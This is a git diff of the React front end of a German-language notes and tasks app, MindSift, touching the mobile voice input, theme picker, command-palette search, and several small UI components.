<nav data-mobile-nav className="sm:hidden fixed bottom-0 left-0 right-0 z-40 bg-panel/95 backdrop-blur-md border-t border-border px-2 pt-1.5 pb-[calc(0.5rem+env(safe-area-inset-bottom))] grid grid-cols-5 items-center shadow-panel">
<nav className="sm:hidden fixed bottom-0 left-0 right-0 z-40 bg-panel/95 backdrop-blur-md border-t border-border px-2 pt-1.5 pb-[calc(0.5rem+env(safe-area-inset-bottom))] grid grid-cols-5 items-center shadow-panel">
{/* Col 1: Triage */}
<button
type="button"
@@ -1592,50 +1341,22 @@ export const App: React.FC = () => {
autoFocus
value={mobileTriageContent}
onChange={(e) => setMobileTriageContent(e.target.value)}
placeholder={
mobileVoiceError
? mobileVoiceError
: mobileVoiceActive
? 'Ich höre zu…'
: mobileVoice.state === 'transcribing'
? 'Wird erkannt…'
: 'Was geht dir durch den Kopf?…'
}
className={
mobileVoiceActive && mobileVoice.mode === 'server'
? 'w-full input-field px-3 py-2 pr-24 text-sm'
: 'w-full input-field px-3 py-2 pr-10 text-sm'
}
placeholder="Was geht dir durch den Kopf?…"
className="w-full input-field px-3 py-2 pr-10 text-sm"
/>
{mobileVoice.available && (
<div className="absolute right-1.5 top-1/2 -translate-y-1/2 flex items-center gap-2">
{mobileVoiceActive && mobileVoice.mode === 'server' && (
<VoiceWave getLevel={mobileVoice.level} bars={7} className="h-4 text-accent" />
)}
<button
type="button"
onClick={toggleMobileVoice}
disabled={mobileVoice.state === 'transcribing'}
className={`w-9 h-9 rounded-full flex items-center justify-center transition-colors cursor-pointer ${
className={`absolute right-1.5 top-1/2 -translate-y-1/2 w-7 h-7 rounded-full flex items-center justify-center transition-colors cursor-pointer ${
mobileVoiceActive
? mobileVoice.mode === 'server'
? 'bg-status-err text-on-accent'
: 'bg-accent text-on-accent animate-pulse'
? 'bg-accent text-on-accent animate-pulse'
: 'text-muted hover:text-main hover:bg-panel-elevated'
}`}
title={mobileVoiceActive ? 'Aufnahme beenden' : 'Spracheingabe'}
title="Spracheingabe"
>
{mobileVoice.state === 'transcribing' ? (
<Loader2 className="w-4 h-4 animate-spin" />
) : mobileVoiceActive ? (
<MicOff className="w-4 h-4" />
) : (
<Mic className="w-4 h-4" />
)}
{mobileVoiceActive ? <MicOff className="w-3.5 h-3.5" /> : <Mic className="w-3.5 h-3.5" />}
</button>
</div>
)}
</div>
</div>
{/* Priority - 4 Buttons (Identical to TasksView) */}
@@ -1765,7 +1486,26 @@ export const App: React.FC = () => {
<Palette className="w-3.5 h-3.5 text-accent" />
<span>Design-Theme</span>
</span>
<ThemeQuickPicker activeTheme={activeTheme} themes={allThemes} onChange={handleChangeTheme} touch />
<div className="grid grid-cols-2 gap-2">
{allThemes.map((t) => (
<button
key={t.id}
type="button"
onClick={() => handleChangeTheme(t.id)}
className={`h-9 px-2.5 text-xs font-medium border rounded-btn flex items-center gap-2 transition-colors cursor-pointer ${
activeTheme === t.id
? 'bg-panel-elevated border-accent text-main font-semibold'
: 'bg-canvas border-border text-muted hover:text-main'
}`}
>
<span
className="w-3 h-3 border border-strong flex-shrink-0 rounded-full"
style={{ backgroundColor: t.previewBg }}
/>
<span className="truncate">{t.name.replace('MindSift ', '')}</span>
</button>
))}
</div>
</div>
{/* Menu Items */}
@@ -1832,19 +1572,6 @@ export const App: React.FC = () => {
<span>Hilfe & Anleitung</span>
</button>
<button
type="button"
onClick={() => {
triggerHaptic(10);
setShowMobileProfile(false);
setShowAbout(true);
}}
className="w-full px-3 py-2.5 rounded-btn text-left flex items-center gap-3 hover:bg-panel-elevated transition-colors text-xs cursor-pointer text-main"
>
<Brain className="w-4 h-4 text-accent" />
<span>Über MindSift</span>
</button>
{isServerAdmin && (
<button
type="button"
@@ -1877,11 +1604,6 @@ export const App: React.FC = () => {
<span>Abmelden</span>
</button>
</div>
{/* Version & About Hint on Mobile */}
<div className="pt-2 text-center text-[10px] text-faint font-mono">
MindSift {APP_VERSION}
</div>
</div>
</div>
)}
@@ -1939,18 +1661,6 @@ export const App: React.FC = () => {
</div>
) : (
<div className="space-y-3 pt-1">
{/* Chrome may report "installable" only after the guide opened (e.g. shortly after the
old app was removed): then the real install is one tap away again */}
{deferredPwaPrompt && (
<button
type="button"
onClick={handleInstallWebApp}
className="btn-primary w-full h-12 text-sm font-semibold rounded-xl flex items-center justify-center gap-2 shadow-md active:scale-98 transition-transform cursor-pointer"
>
<Download className="w-4 h-4" />
<span>Jetzt installieren</span>
</button>
)}
<div className="p-3.5 rounded-xl bg-canvas border border-border space-y-2.5 text-xs text-main">
<p className="font-semibold text-accent flex items-center gap-1.5">
<Smartphone className="w-4 h-4" />
@@ -1992,12 +1702,7 @@ export const App: React.FC = () => {
onOpenDocument={handleOpenDocument}
onOpenTask={handleOpenTask}
onOpenList={handleOpenList}
lists={lists}
/>
{showAbout && <AboutModal onClose={() => setShowAbout(false)} />}
{showTriageTrash && <TriageTrash onClose={() => setShowTriageTrash(false)} onChanged={refreshAll} />}
{availableUpdate && <UpdateAvailableModal update={availableUpdate} onLater={dismissUpdate} />}
</div>
);
};
+1 -1
View File
@@ -5,7 +5,7 @@ import { ReadingModal } from './ReadingModal';
// Project facts shown in "Über MindSift"; change here when the repository or license changes
export const PROJECT_REPO_URL = 'https://git.dsit.me/sandrodach/MindSift';
export const PROJECT_LICENSE = 'GNU AGPLv3 – freie Software, Änderungen bleiben frei';
export const PROJECT_LICENSE = 'The Unlicense – gemeinfrei, ohne Bedingungen';
export const AboutModal: React.FC<{ onClose: () => void }> = ({ onClose }) => (
<ReadingModal title="Über MindSift" onClose={onClose}>
-29
View File
@@ -1,29 +0,0 @@
import React from 'react';
import { AuthStatus } from '../lib/types';
import { APP_VERSION } from '../version';
import { LegalLinks } from './LegalLinks';
interface AppFooterProps {
legal?: AuthStatus['legal'];
onOpenAbout: () => void;
}
export const AppFooter: React.FC<AppFooterProps> = ({ legal, onOpenAbout }) => {
// One small, even line: same font, size and weight for every part (mixed mono/bold looked crooked)
const item = 'leading-none hover:text-muted transition-colors cursor-pointer';
return (
<footer className="hidden sm:flex shrink-0 w-full max-w-6xl mx-auto px-4 py-1.5 items-center justify-between text-[10px] leading-none text-faint select-none">
<div className="flex items-center gap-1.5">
<button type="button" onClick={onOpenAbout} className={item} title="Über MindSift & Versionsdetails">
MindSift {APP_VERSION}
</button>
<span aria-hidden>·</span>
<button type="button" onClick={onOpenAbout} className={item}>
Über MindSift
</button>
</div>
<LegalLinks legal={legal} className="!text-[10px] !text-faint !gap-x-3 leading-none" />
</footer>
);
};
+44 -299
View File
@@ -7,14 +7,9 @@ import {
X,
Loader2,
CornerDownLeft,
Maximize2,
Minimize2,
Check,
} from 'lucide-react';
import { ListItem, SearchFilter, SearchHit, SearchResults, SharedList, TaskList, Thought } from '../lib/types';
import { SearchHit } from '../lib/types';
import { api } from '../lib/api';
import { formatDue } from '../lib/due';
import { SnippetRenderer } from './SnippetRenderer';
interface CommandPaletteProps {
isOpen: boolean;
@@ -22,26 +17,34 @@ interface CommandPaletteProps {
onOpenDocument: (docId: string, blockId?: string) => void;
onOpenTask: (taskId: string) => void;
onOpenList: (listId: string) => void;
// For list names and the list filter of the large view
lists?: SharedList[];
}
type Kind = 'all' | 'document' | 'thought' | 'list_item';
// Safely render snippet containing <mark>...</mark> without dangerouslySetInnerHTML
const SnippetRenderer: React.FC<{ snippet: string }> = ({ snippet }) => {
const parts = useMemo(() => {
if (!snippet) return [];
return snippet.split(/(<mark>[\s\S]*?<\/mark>)/g);
}, [snippet]);
// The filter chips, in this order (Tab and Strg+1–4 follow it)
const KINDS: { kind: Kind; label: string }[] = [
{ kind: 'all', label: 'Alle' },
{ kind: 'document', label: 'Notizen' },
{ kind: 'thought', label: 'Aufgaben' },
{ kind: 'list_item', label: 'Listen' },
];
const PRIORITY_LABELS: Record<string, string> = { urgent: 'Dringend', high: 'Wichtig', normal: 'Normal', low: 'Niedrig' };
// Hits per kind: a few for the overview, more once narrowed to one kind or in the large view
const LIMIT_ALL = 40;
const LIMIT_ONE = 100;
const LIMIT_LARGE = 200;
return (
<span className="text-muted text-xs line-clamp-2 leading-relaxed">
{parts.map((part, i) => {
if (part.startsWith('<mark>') && part.endsWith('</mark>')) {
const text = part.slice(6, -7);
return (
<mark
key={i}
className="bg-accent-dim text-accent font-semibold px-0.5 rounded"
>
{text}
</mark>
);
}
return <span key={i}>{part}</span>;
})}
</span>
);
};
export const CommandPalette: React.FC<CommandPaletteProps> = ({
isOpen,
@@ -49,22 +52,11 @@ export const CommandPalette: React.FC<CommandPaletteProps> = ({
onOpenDocument,
onOpenTask,
onOpenList,
lists = [],
}) => {
const [query, setQuery] = useState('');
const [hits, setHits] = useState<SearchHit[]>([]);
const [thoughts, setThoughts] = useState<Thought[]>([]);
const [listItems, setListItems] = useState<ListItem[]>([]);
const [selectedIndex, setSelectedIndex] = useState(0);
const [loading, setLoading] = useState(false);
const [kind, setKind] = useState<Kind>('all');
// Large view (desktop): bigger window, filters per kind and context for every hit
const [expanded, setExpanded] = useState(false);
const [filter, setFilter] = useState<SearchFilter>({});
// Hits per kind of the current text, for the chips (also while narrowed to one kind)
const [counts, setCounts] = useState<{ query: string; limit: number; values: SearchResults['counts'] }>({ query: '', limit: LIMIT_ALL, values: {} });
const [taskLists, setTaskLists] = useState<TaskList[]>([]);
const [folders, setFolders] = useState<string[]>([]);
const inputRef = useRef<HTMLInputElement>(null);
const debounceTimerRef = useRef<number | null>(null);
@@ -73,7 +65,7 @@ export const CommandPalette: React.FC<CommandPaletteProps> = ({
const groupedHits = useMemo(() => {
const docs: SearchHit[] = [];
const tasks: SearchHit[] = [];
const listHits: SearchHit[] = [];
const lists: SearchHit[] = [];
for (const h of hits) {
if (h.type === 'document') {
@@ -81,14 +73,14 @@ export const CommandPalette: React.FC<CommandPaletteProps> = ({
} else if (h.type === 'thought') {
tasks.push(h);
} else if (h.type === 'list_item') {
listHits.push(h);
lists.push(h);
}
}
return [
{ key: 'documents', label: 'Notizen', icon: FileText, items: docs },
{ key: 'tasks', label: 'Aufgaben', icon: CheckSquare, items: tasks },
{ key: 'lists', label: 'Listen', icon: ShoppingCart, items: listHits },
{ key: 'lists', label: 'Listen', icon: ShoppingCart, items: lists },
].filter((g) => g.items.length > 0);
}, [hits]);
@@ -97,50 +89,16 @@ export const CommandPalette: React.FC<CommandPaletteProps> = ({
return groupedHits.flatMap((g) => g.items);
}, [groupedHits]);
const thoughtById = useMemo(() => new Map(thoughts.map((t) => [t.id, t])), [thoughts]);
const itemById = useMemo(() => new Map(listItems.map((li) => [li.id, li])), [listItems]);
const listTitle = (id?: string) => lists.find((l) => l.id === id)?.title;
const taskListTitle = (id?: string) => (id ? taskLists.find((l) => l.id === id)?.title : 'Persönlich');
// Focus input and reset on open
useEffect(() => {
if (isOpen) {
setQuery('');
setHits([]);
setSelectedIndex(0);
setKind('all');
setFilter({});
setTimeout(() => inputRef.current?.focus(), 50);
}
}, [isOpen]);
// Task lists and folders for the filters of the large view
useEffect(() => {
if (!isOpen || !expanded) return;
api.getTaskLists().then(setTaskLists).catch(() => {});
api.getFolders().then(setFolders).catch(() => {});
}, [isOpen, expanded]);
// Filters only count for the kind they belong to, and only in the large view
const activeFilter = useMemo((): SearchFilter => {
const limit = expanded ? LIMIT_LARGE : kind === 'all' ? LIMIT_ALL : LIMIT_ONE;
const out: SearchFilter = { limit };
if (kind !== 'all') out.type = kind;
if (!expanded) return out;
if (kind === 'thought') {
out.taskStatus = filter.taskStatus;
out.taskListId = filter.taskListId;
out.priority = filter.priority;
out.due = filter.due;
} else if (kind === 'document') {
out.folder = filter.folder;
} else if (kind === 'list_item') {
out.listId = filter.listId;
out.itemStatus = filter.itemStatus;
}
return out;
}, [kind, expanded, filter]);
// 150ms debounce search
useEffect(() => {
if (debounceTimerRef.current !== null) {
@@ -158,18 +116,8 @@ export const CommandPalette: React.FC<CommandPaletteProps> = ({
setLoading(true);
debounceTimerRef.current = window.setTimeout(async () => {
try {
const countLimit = expanded ? LIMIT_LARGE : LIMIT_ALL;
// Narrowed to one kind: the chips still need the numbers of all kinds for this text
const needCounts = kind !== 'all' && (counts.query !== trimmed || counts.limit !== countLimit);
const [res, all] = await Promise.all([
api.searchAll(trimmed, activeFilter),
needCounts ? api.searchAll(trimmed, { limit: countLimit }) : Promise.resolve(null),
]);
const res = await api.searchAll(trimmed);
setHits(res.hits || []);
setThoughts(res.thoughts || []);
setListItems(res.listItems || []);
if (kind === 'all') setCounts({ query: trimmed, limit: countLimit, values: res.counts || {} });
else if (all) setCounts({ query: trimmed, limit: countLimit, values: all.counts || {} });
setSelectedIndex(0);
} catch {
setHits([]);
@@ -183,11 +131,9 @@ export const CommandPalette: React.FC<CommandPaletteProps> = ({
window.clearTimeout(debounceTimerRef.current);
}
};
// counts is only read to skip a second request
// eslint-disable-next-line react-hooks/exhaustive-deps
}, [query, activeFilter]);
}, [query]);
// Keyboard navigation: ↑, ↓, Enter, Escape; Tab and Strg+1–4 switch the kind
// Keyboard navigation: ↑, ↓, Enter, Escape
useEffect(() => {
if (!isOpen) return;
@@ -198,20 +144,6 @@ export const CommandPalette: React.FC<CommandPaletteProps> = ({
return;
}
if (e.key === 'Tab' && document.activeElement === inputRef.current) {
e.preventDefault();
setKind((cur) => {
const i = KINDS.findIndex((k) => k.kind === cur);
return KINDS[(i + (e.shiftKey ? KINDS.length - 1 : 1)) % KINDS.length].kind;
});
return;
}
if ((e.ctrlKey || e.metaKey) && ['1', '2', '3', '4'].includes(e.key)) {
e.preventDefault();
setKind(KINDS[Number(e.key) - 1].kind);
return;
}
if (flatHits.length === 0) return;
if (e.key === 'ArrowDown') {
@@ -233,31 +165,6 @@ export const CommandPalette: React.FC<CommandPaletteProps> = ({
return () => window.removeEventListener('keydown', handleKeyDown);
}, [isOpen, flatHits, selectedIndex]);
// Tick a task or list item off (or open it again) without leaving the search
const toggleDone = async (hit: SearchHit) => {
if (hit.type === 'thought') {
const t = thoughtById.get(hit.id);
if (!t) return;
const next = !t.isCompleted;
setThoughts((prev) => prev.map((x) => (x.id === t.id ? { ...x, isCompleted: next } : x)));
try {
await api.updateThought(t.id, { isCompleted: next });
} catch {
setThoughts((prev) => prev.map((x) => (x.id === t.id ? { ...x, isCompleted: !next } : x)));
}
} else if (hit.type === 'list_item') {
const li = itemById.get(hit.id);
if (!li) return;
const next = !li.isCompleted;
setListItems((prev) => prev.map((x) => (x.id === li.id ? { ...x, isCompleted: next } : x)));
try {
await api.toggleListItem(li.listId, li.id, next);
} catch {
setListItems((prev) => prev.map((x) => (x.id === li.id ? { ...x, isCompleted: !next } : x)));
}
}
};
const executeSelection = (hit: SearchHit) => {
onClose();
if (hit.type === 'document') {
@@ -273,18 +180,6 @@ export const CommandPalette: React.FC<CommandPaletteProps> = ({
if (!isOpen) return null;
const countLabel = (k: Kind) => {
if (!query.trim() || counts.query !== query.trim()) return null;
const v = counts.values || {};
const n = k === 'all' ? (v.document || 0) + (v.thought || 0) + (v.list_item || 0) : v[k] || 0;
const capped = k !== 'all' && n >= counts.limit;
return capped ? `${n}+` : String(n);
};
const setFilterValue = (key: keyof SearchFilter, value: string) =>
setFilter((prev) => ({ ...prev, [key]: value || undefined }));
const selectClass = 'h-8 px-2 input-field text-xs bg-panel max-w-[12rem]';
return (
<div
className="fixed inset-0 z-50 flex items-start justify-center p-0 sm:p-4 sm:pt-16 bg-black/60 backdrop-blur-xs animate-in fade-in duration-150"
@@ -292,9 +187,10 @@ export const CommandPalette: React.FC<CommandPaletteProps> = ({
>
{/* Search Modal Container */}
<div
className={`w-full h-full bg-panel flex flex-col overflow-hidden shadow-2xl sm:rounded-card sm:border sm:border-border ${
expanded ? 'sm:h-[85vh] sm:max-w-5xl' : 'sm:h-auto sm:max-h-[80vh] sm:max-w-2xl'
}`}
className="
w-full h-full bg-panel flex flex-col overflow-hidden shadow-2xl
sm:h-auto sm:max-h-[80vh] sm:max-w-2xl sm:rounded-card sm:border sm:border-border
"
onClick={(e) => e.stopPropagation()}
>
{/* Top Input Bar */}
@@ -308,11 +204,8 @@ export const CommandPalette: React.FC<CommandPaletteProps> = ({
placeholder="Globale Suche in Notizen, Aufgaben und Listen…"
className="flex-1 bg-transparent border-0 outline-none text-main placeholder-muted text-base sm:text-sm focus:ring-0 p-0"
/>
{/* One fixed slot for the spinner or the clear button, so the field keeps its width while typing */}
<span className="w-6 h-6 shrink-0 flex items-center justify-center">
{loading ? (
<Loader2 className="w-4 h-4 animate-spin text-accent" />
) : query ? (
{loading && <Loader2 className="w-4 h-4 animate-spin text-accent shrink-0" />}
{query && !loading && (
<button
type="button"
onClick={() => {
@@ -320,28 +213,12 @@ export const CommandPalette: React.FC<CommandPaletteProps> = ({
setHits([]);
inputRef.current?.focus();
}}
className="w-6 h-6 flex items-center justify-center text-muted hover:text-main"
className="text-muted hover:text-main p-1"
title="Eingabe leeren"
>
<X className="w-4 h-4" />
</button>
) : null}
</span>
{/* Large view with filters (desktop; on phones the search fills the screen anyway) */}
<button
type="button"
onClick={() => {
setExpanded((v) => !v);
if (expanded) setFilter({});
inputRef.current?.focus();
}}
className="hidden sm:flex w-7 h-7 items-center justify-center rounded-btn text-muted hover:text-main hover:bg-panel-elevated shrink-0"
title={expanded ? 'Kleine Ansicht' : 'Große Ansicht mit Filtern'}
aria-label={expanded ? 'Kleine Ansicht' : 'Große Ansicht mit Filtern'}
aria-pressed={expanded}
>
{expanded ? <Minimize2 className="w-3.5 h-3.5" /> : <Maximize2 className="w-3.5 h-3.5" />}
</button>
)}
<button
type="button"
onClick={onClose}
@@ -351,96 +228,6 @@ export const CommandPalette: React.FC<CommandPaletteProps> = ({
</button>
</div>
{/* Kinds as chips, with the number of hits */}
<div className="flex items-center gap-1.5 px-3 py-2 border-b border-border overflow-x-auto shrink-0" role="tablist" aria-label="Art der Treffer">
{KINDS.map((k) => {
const active = kind === k.kind;
const n = countLabel(k.kind);
return (
<button
key={k.kind}
type="button"
role="tab"
aria-selected={active}
onClick={() => {
setKind(k.kind);
inputRef.current?.focus();
}}
className={`h-9 sm:h-7 px-3 rounded-pill border text-xs flex items-center gap-1.5 shrink-0 transition-colors ${
active ? 'bg-accent/10 border-accent text-main font-semibold' : 'bg-canvas border-border text-muted hover:text-main'
}`}
>
<span>{k.label}</span>
{n !== null && <span className="text-[10px] font-mono opacity-70">{n}</span>}
</button>
);
})}
</div>
{/* Large view: filters of the chosen kind */}
{expanded && kind !== 'all' && (
<div className="flex flex-wrap items-center gap-2 px-3 py-2 border-b border-border bg-canvas/40 shrink-0 text-xs text-muted">
{kind === 'thought' && (
<>
<select className={selectClass} value={filter.taskStatus || ''} onChange={(e) => setFilterValue('taskStatus', e.target.value)} aria-label="Status">
<option value="">Offen und erledigt</option>
<option value="open">Nur offene</option>
<option value="done">Nur erledigte</option>
</select>
<select className={selectClass} value={filter.taskListId || ''} onChange={(e) => setFilterValue('taskListId', e.target.value)} aria-label="Aufgabenliste">
<option value="">Alle Listen</option>
<option value="personal">Persönlich (ohne Liste)</option>
{taskLists.map((l) => (
<option key={l.id} value={l.id}>
{[l.icon, l.title].filter(Boolean).join(' ')}
</option>
))}
</select>
<select className={selectClass} value={filter.priority || ''} onChange={(e) => setFilterValue('priority', e.target.value)} aria-label="Priorität">
<option value="">Jede Priorität</option>
<option value="urgent">Dringend</option>
<option value="high">Wichtig</option>
<option value="normal">Normal</option>
<option value="low">Niedrig</option>
</select>
<select className={selectClass} value={filter.due || ''} onChange={(e) => setFilterValue('due', e.target.value)} aria-label="Fälligkeit">
<option value="">Jede Fälligkeit</option>
<option value="overdue">Überfällig</option>
<option value="today">Heute fällig</option>
<option value="week">Fällig in 7 Tagen</option>
</select>
</>
)}
{kind === 'document' && (
<select className={selectClass} value={filter.folder || ''} onChange={(e) => setFilterValue('folder', e.target.value)} aria-label="Ordner">
<option value="">Alle Ordner</option>
{folders.map((f) => (
<option key={f} value={f}>
{f}
</option>
))}
</select>
)}
{kind === 'list_item' && (
<>
<select className={selectClass} value={filter.listId || ''} onChange={(e) => setFilterValue('listId', e.target.value)} aria-label="Liste">
<option value="">Alle Listen</option>
{lists.map((l) => (
<option key={l.id} value={l.id}>
{[l.icon, l.title].filter(Boolean).join(' ')}
</option>
))}
</select>
<select className={selectClass} value={filter.itemStatus || ''} onChange={(e) => setFilterValue('itemStatus', e.target.value)} aria-label="Status">
<option value="">Offen und abgehakt</option>
<option value="open">Nur offene</option>
<option value="done">Nur abgehakte</option>
</select>
</>
)}
</div>
)}
{/* Results Container */}
<div className="flex-1 overflow-y-auto p-2 space-y-4 min-h-[160px]">
{query.trim() === '' ? (
@@ -467,9 +254,6 @@ export const CommandPalette: React.FC<CommandPaletteProps> = ({
{group.items.map((item) => {
const overallIndex = flatHits.indexOf(item);
const isSelected = overallIndex === selectedIndex;
const task = item.type === 'thought' ? thoughtById.get(item.id) : undefined;
const listItem = item.type === 'list_item' ? itemById.get(item.id) : undefined;
const finished = Boolean(task?.isCompleted || listItem?.isCompleted);
return (
<div
key={item.id}
@@ -484,30 +268,13 @@ export const CommandPalette: React.FC<CommandPaletteProps> = ({
}
`}
>
{task || listItem ? (
// Tasks and list items: their real state, ticked off right here
<button
type="button"
onClick={(e) => {
e.stopPropagation();
void toggleDone(item);
}}
className={`mt-0.5 w-4 h-4 shrink-0 rounded-sm border flex items-center justify-center transition-colors before:absolute before:-inset-3 relative ${
finished ? 'bg-status-ok border-status-ok text-on-accent' : 'border-strong hover:border-accent text-transparent'
}`}
title={finished ? 'Wieder öffnen' : 'Abhaken'}
aria-label={finished ? 'Wieder öffnen' : 'Abhaken'}
aria-pressed={finished}
>
<Check className="w-3 h-3 stroke-[3]" />
</button>
) : (
<div className="mt-0.5 shrink-0 text-base leading-none">{item.icon || '🗒️'}</div>
)}
<div className="mt-0.5 shrink-0 text-base leading-none">
{item.icon || (item.type === 'document' ? '📝' : item.type === 'thought' ? '✅' : '🛒')}
</div>
<div className="flex-1 min-w-0 space-y-0.5">
<div className="flex items-center justify-between gap-2">
<span className={`font-semibold text-xs truncate ${finished ? 'line-through text-muted' : ''}`}>
<span className="font-semibold text-xs truncate">
{item.title || 'Unbenannt'}
</span>
{isSelected && (
@@ -518,30 +285,11 @@ export const CommandPalette: React.FC<CommandPaletteProps> = ({
)}
</div>
{/* Large view: the bullet before the hit */}
{expanded && item.before && <p className="text-[11px] text-faint truncate">{item.before}</p>}
{item.snippet && (
<div>
<SnippetRenderer snippet={item.snippet} />
</div>
)}
{expanded && item.after && <p className="text-[11px] text-faint truncate">{item.after}</p>}
{/* Large view: where a task or list item belongs and its state */}
{expanded && task && (
<p className="text-[11px] text-faint flex flex-wrap gap-x-2">
<span>{taskListTitle(task.taskListId) || 'Aufgabenliste'}</span>
{task.dueDate && <span>fällig {formatDue(task.dueDate)}</span>}
{task.priority && task.priority !== 'normal' && <span>{PRIORITY_LABELS[task.priority]}</span>}
{task.isCompleted && <span>erledigt</span>}
</p>
)}
{expanded && listItem && (
<p className="text-[11px] text-faint flex flex-wrap gap-x-2">
<span>{listTitle(listItem.listId) || 'Liste'}</span>
{listItem.isCompleted && <span>abgehakt</span>}
</p>
)}
</div>
</div>
);
@@ -563,9 +311,6 @@ export const CommandPalette: React.FC<CommandPaletteProps> = ({
<span>
<kbd className="px-1 py-0.5 bg-panel border border-border rounded font-mono text-[10px] text-accent">↵</kbd> Auswählen
</span>
<span>
<kbd className="px-1 py-0.5 bg-panel border border-border rounded font-mono text-[10px] text-accent">Tab</kbd> Art wechseln
</span>
<span>
<kbd className="px-1 py-0.5 bg-panel border border-border rounded font-mono text-[10px] text-accent">Esc</kbd> Schließen
</span>
@@ -1,81 +0,0 @@
import React, { useEffect, useLayoutEffect, useRef, useState } from 'react';
import { createPortal } from 'react-dom';
interface ConfirmPopoverProps {
// Where the click was (clientX/clientY); the popover opens right there, kept inside the window
x: number;
y: number;
message: React.ReactNode;
confirmLabel: string;
danger?: boolean;
onConfirm: () => void;
onCancel: () => void;
}
const MARGIN = 8;
// Small confirmation right at the mouse (Doku/ui-patterns.md): Enter or the button confirms, Escape, a
// click outside or "Abbrechen" closes it.
export const ConfirmPopover: React.FC<ConfirmPopoverProps> = ({ x, y, message, confirmLabel, danger, onConfirm, onCancel }) => {
const ref = useRef<HTMLDivElement>(null);
const confirmRef = useRef<HTMLButtonElement>(null);
const [pos, setPos] = useState({ left: x, top: y, ready: false });
// Below and right of the pointer; flipped above or to the left when it would leave the window
useLayoutEffect(() => {
const el = ref.current;
if (!el) return;
const { width, height } = el.getBoundingClientRect();
let left = x - 12;
let top = y + MARGIN;
if (left + width > window.innerWidth - MARGIN) left = window.innerWidth - width - MARGIN;
if (top + height > window.innerHeight - MARGIN) top = y - height - MARGIN;
setPos({ left: Math.max(MARGIN, left), top: Math.max(MARGIN, top), ready: true });
confirmRef.current?.focus();
}, [x, y]);
useEffect(() => {
const onDown = (e: Event) => {
if (ref.current && !ref.current.contains(e.target as Node)) onCancel();
};
const onKey = (e: KeyboardEvent) => {
if (e.key === 'Escape') onCancel();
};
document.addEventListener('pointerdown', onDown);
document.addEventListener('keydown', onKey);
return () => {
document.removeEventListener('pointerdown', onDown);
document.removeEventListener('keydown', onKey);
};
}, [onCancel]);
return createPortal(
<div
ref={ref}
role="alertdialog"
aria-modal="false"
style={{ left: pos.left, top: pos.top, visibility: pos.ready ? 'visible' : 'hidden' }}
className="fixed z-[70] w-72 max-w-[calc(100vw-1rem)] p-3 bg-panel border border-border rounded-card shadow-panel text-xs text-main space-y-3"
>
<div className="leading-snug">{message}</div>
<div className="flex justify-end gap-2">
<button type="button" onClick={onCancel} className="btn-action h-11 sm:h-8 px-3 text-xs">
Abbrechen
</button>
<button
ref={confirmRef}
type="button"
onClick={onConfirm}
className={`h-11 sm:h-8 px-3 text-xs font-semibold rounded-btn border transition-colors ${
danger
? 'bg-status-err/15 text-status-err border-status-err/50 hover:bg-status-err/25'
: 'btn-primary'
}`}
>
{confirmLabel}
</button>
</div>
</div>,
document.body
);
};
+3 -5
View File
@@ -4,16 +4,14 @@ interface CountBadgeProps {
count: number | undefined | null;
// accent: something waits for you (nav bar); muted: plain amount (tabs, lists)
variant?: 'accent' | 'muted';
// corner: notification badge on the top right of the nearest `relative` parent (icons);
// text: right after a label, raised and hanging a little over its last letter (tabs, nav bar)
position?: 'inline' | 'corner' | 'text';
// corner: notification badge on the top right of the nearest `relative` parent
position?: 'inline' | 'corner';
showZero?: boolean;
className?: string; // e.g. to fine-tune the corner offset
}
// Full class names: Tailwind drops component classes it cannot find literally in the source
const VARIANT_CLASS = { accent: 'count-badge-accent', muted: 'count-badge-muted' };
const POSITION_CLASS = { inline: '', corner: 'count-badge-corner', text: 'count-badge-text' };
// The one counter of the app (Doku/ui-patterns.md); hides itself at 0 unless showZero
export const CountBadge: React.FC<CountBadgeProps> = ({
@@ -27,7 +25,7 @@ export const CountBadge: React.FC<CountBadgeProps> = ({
const label = count > 99 ? '99+' : String(count);
return (
<span
className={`count-badge ${VARIANT_CLASS[variant]} ${POSITION_CLASS[position]} ${className}`}
className={`count-badge ${VARIANT_CLASS[variant]} ${position === 'corner' ? 'count-badge-corner' : ''} ${className}`}
aria-label={String(count)}
>
{label}
@@ -1,41 +0,0 @@
import React, { useRef, useState } from 'react';
import { SmilePlus } from 'lucide-react';
import { EmojiPickerModal } from '../features/workspace/EmojiPickerModal';
interface EmojiIconButtonProps {
value: string;
// "" = no icon (removed in the picker)
onChange: (emoji: string) => void;
}
// Icon field of the create dialogs (note, task list, list): the emoji as a button that opens the same
// picker as the icon of an open note, removing included (Doku/ui-patterns.md).
export const EmojiIconButton: React.FC<EmojiIconButtonProps> = ({ value, onChange }) => {
const buttonRef = useRef<HTMLButtonElement>(null);
const [anchor, setAnchor] = useState<DOMRect | null>(null);
return (
<>
<button
ref={buttonRef}
type="button"
onClick={() => setAnchor((cur) => (cur ? null : buttonRef.current?.getBoundingClientRect() ?? null))}
title={value ? 'Icon ändern' : 'Icon wählen'}
aria-label={value ? 'Icon ändern' : 'Icon wählen'}
className="w-12 sm:w-10 h-11 sm:h-8 flex-shrink-0 flex items-center justify-center input-field text-lg sm:text-base leading-none cursor-pointer hover:border-strong"
>
{value || <SmilePlus className="w-4 h-4 text-faint" strokeWidth={1.75} />}
</button>
{anchor && (
<EmojiPickerModal
currentIcon={value}
anchor={anchor}
onSelectEmoji={(emoji) => {
onChange(emoji);
setAnchor(null);
}}
onClose={() => setAnchor(null)}
/>
)}
</>
);
};
+4 -10
View File
@@ -16,8 +16,7 @@ interface FormSheetProps {
}
// Small create/rename dialogs. Phone: bottom sheet directly above the keyboard, full width, large
// fields, square at the bottom with only a top border (like the other sheets: it docks to the keyboard
// even with a rounded theme, whose panel-surface would round all corners). Desktop: centred dialog (or next to the click). Escape and the backdrop close it.
// fields. Desktop: centred dialog (or next to the click). Escape and the backdrop close it.
export const FormSheet: React.FC<FormSheetProps> = ({
title,
icon,
@@ -37,12 +36,7 @@ export const FormSheet: React.FC<FormSheetProps> = ({
}, [onClose]);
const desktopAnchor = anchor
? ({
'--sheet-left': `${anchor.x}px`,
'--sheet-top': `${anchor.y}px`,
'--sheet-x': `clamp(12px, calc(${anchor.x}px - 8.25rem), calc(100vw - 16.5rem - 12px))`,
'--sheet-y': `calc(${anchor.y}px + 8px)`,
} as React.CSSProperties)
? ({ '--sheet-left': `${anchor.x}px`, '--sheet-top': `${anchor.y}px` } as React.CSSProperties)
: undefined;
return (
@@ -57,10 +51,10 @@ export const FormSheet: React.FC<FormSheetProps> = ({
'--vv-max': visibleHeight ? `${visibleHeight - 16}px` : '85vh',
} as React.CSSProperties
}
